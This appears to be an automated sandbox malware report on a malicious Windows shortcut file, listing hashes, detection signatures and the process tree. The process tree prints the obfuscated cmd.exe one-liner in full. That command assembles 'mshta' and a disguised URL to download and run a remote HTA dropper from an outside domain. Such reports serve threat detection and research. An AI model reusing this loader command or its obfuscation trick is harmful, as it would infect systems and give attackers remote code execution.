Analysis
- max time kernel
60s - max time network
26s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
21/08/2026, 16:30
Static task
static1
Behavioral task
behavioral1
Sample
DOC-UFEI5I.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-UFEI5I.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-UFEI5I.lnk
- Size 2KB
- Sample260821-tz41qscc64
- SHA256 6aba0cb67b82aa5b4adb066dedeabe4fde8fc2207b50878845944e98bf32979a
- MD5 6e11fabc935954ba08e64e60e098fa73
- SHA1 9db283fb95b4f3eabe8cda9a54d4bdff5fef723e
- SHA512 70e5d2f0ed9683ef06958afc2867a7a0a8efe0fad4ccca2c67592e05e8439bc05ae3096a9e683cecec029d03fae8dbcf8c073b7ff2edf22475787230525c47f4
- TLSH T19D41F1812AFE02E8F2BF9E77EEBE574084BBB8565E31C54D0540824D0872B05D977B67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 6472 cmd.exe 4788 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4788 wrote to memory of 6472 4788 cmd.exe 91 PID 6472 wrote to memory of 1828 6472 cmd.exe 92
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-UFEI5I.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4788 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set zXYj=o5s6i&&set caUu=g5tako&&set ngOCU=bh8rtz&set mrH=loglzzspifklog&set EB=dbgsflooajxxvohixgcmdbg&set iAn=dataaydxafjxxkhzntbdat&set HTmix=yfm0&&set rr=5shtalz&set wK=oldnwakezkmesegsvsattold&set fWo=tmprmkbdbtstatmp&set il=netugkkdljctkenet&set mcOR=inftiwuhstinf&set FYRF=sysajigvatsmlsys&&set PQech=h@ttps@://@k@-documen@ta@ci@[email protected]@/h@/estag@i@o@[email protected]@hp@?r=3F1@47@7F15@39@8@D@1&&start /b !HTmix:~2,1!!rr:~1,4! !PQech:@=!&&set VZwk=done"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6472 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:1828
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